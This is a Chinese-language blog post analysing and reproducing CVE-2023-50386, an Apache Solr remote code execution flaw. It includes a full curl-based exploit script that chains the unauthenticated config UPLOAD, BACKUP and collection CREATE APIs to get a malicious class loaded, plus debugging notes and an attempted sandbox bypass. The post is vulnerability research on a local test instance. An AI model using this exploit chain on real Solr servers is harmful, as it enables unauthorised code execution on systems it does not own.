Apache-Solr-Backup/Restore-APIs-代码执行漏洞(CVE-2023-50386)

这个漏洞感觉也太牛了,狠狠地学习一下。
参考文章:Apache Solr Backup/Restore APIs RCE (CVE-2023-50386)分析及挖掘思路 | l3yx’s blog

solr的概念,一大堆,就看了和这个洞相关的,见:
Apache Solr 组件安全概览 (seebug.org)

环境配置和操作步骤见原文,这里我把命令集合了一下,方便调试:
制作好conf1.zip和conf2.zip.
img

exploit.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
curl "http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=collection1"
curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf1"
curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf2"
curl "http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=collection2"


curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1"
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"

curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"

漏洞成因就是各种未授权接口,默认情况下,UPLOAD,BACKUP,和CREATE这三个结合造成了漏洞。

关于接口可以参考官方文档:

Configsets API :: Apache Solr Reference Guide

Collection Management Commands :: Apache Solr Reference Guide

1:调试UPLOAD + CREATE

org.apache.solr.handler.admin.CollectionsHandler#handleRequestBody打断点。

1
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=test_collection&numShards=1&replicationFactor=1&wt=json&collection.con figName=_default"

到org.apache.solr.core.SolrConfig#initLibs
img
这里会检查目录下是否有lib。如果有就会把东西add进urls。
我们传递的是test_collection, 那么创建的文件在/var/solr/data/test_collection_shard1_replica_n1

先把它删了:

1
curl "http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=test_collection&numShards=1&replicationFactor=1&wt=json&collection.con figName=_default"

然后手动创建一下,看看啥情况:

1
2
3
4
5
6
mkdir test_collection_shard1_replica_n1
mkdir test_collection_shard1_replica_n1/lib
cd test_collection_shard1_replica_n1/lib
mkdir test
mkdir test/test123
touch empty.jar

img
如图,看看url最后去哪了。

img

img
可以看到是加进ClassLoader里了。
那么可以有个思路了,假如我们可以在lib里放jar包或者class文件,用URLClassLoader远程加载,然后命令执行。

2: BACKUP

1
2
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"

location和name参数。而且要求是location这个目录必须提前存在(所以这里要curl两次)
这样collection2_shard1_replica_n1/lib目录就会创建了:
img
然后我们再CREATE即可:

1
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"

img

可以看到长长的目录,lib/collection1/zk_backup_0/configs/conf1/Exp.class

Q:
为什么作者创建的包名是zk_backup_0.configs.conf1

而不是collection1.zk_backup_0.configs.conf1?

image-20240225152446924

A:

debug一下:
img
如图,他会从lib的一级子目录底下开始找,也就是collection1。还有一种情况就是找lib下的jar包,但是这里实现不了。

3:命令执行

我稍微跟了下,以下是截图。

img

命令执行的地方在这:
SolrCore#createInstance
img

关键方法是这个:
SolrCore:
img

对应了原文中的解释:img

4:关于沙箱绕过

参考:https://www.mi1k7ea.com/2020/05/03/%E6%B5%85%E6%9E%90Java%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

image-20240225152945186

这里有policy文件,看下去。

看看能咋绕:

1
grep -E -n 'permission java\.lang\.RuntimePermission "setSecurityManager"|permission java\.lang\.reflect\.ReflectPermission "suppressAccessChecks"|permission java\.lang\.RuntimePermission "accessDeclaredMembers"|permission java\.lang\.RuntimePermission "createClassLoader"|permission java\.lang\.RuntimePermission "loadLibrary\.*"' /opt/solr/server/etc/security.policy

image-20240225153340959

看起来反射和classLoader都可以绕。

*反射在JDK17有很大限制,不太行,ClassLoader写的demo执行了,然后调了两小时,没调出来。。。


Apache-Solr-Backup/Restore-APIs-代码执行漏洞(CVE-2023-50386)
http://example.com/2024/02/25/Apache-Solr-Backup-Restore-APIs-代码执行漏洞(CVE-2023-50386)/
Aŭtoro
zhattatey
Postigita
February 25, 2024
Lizenta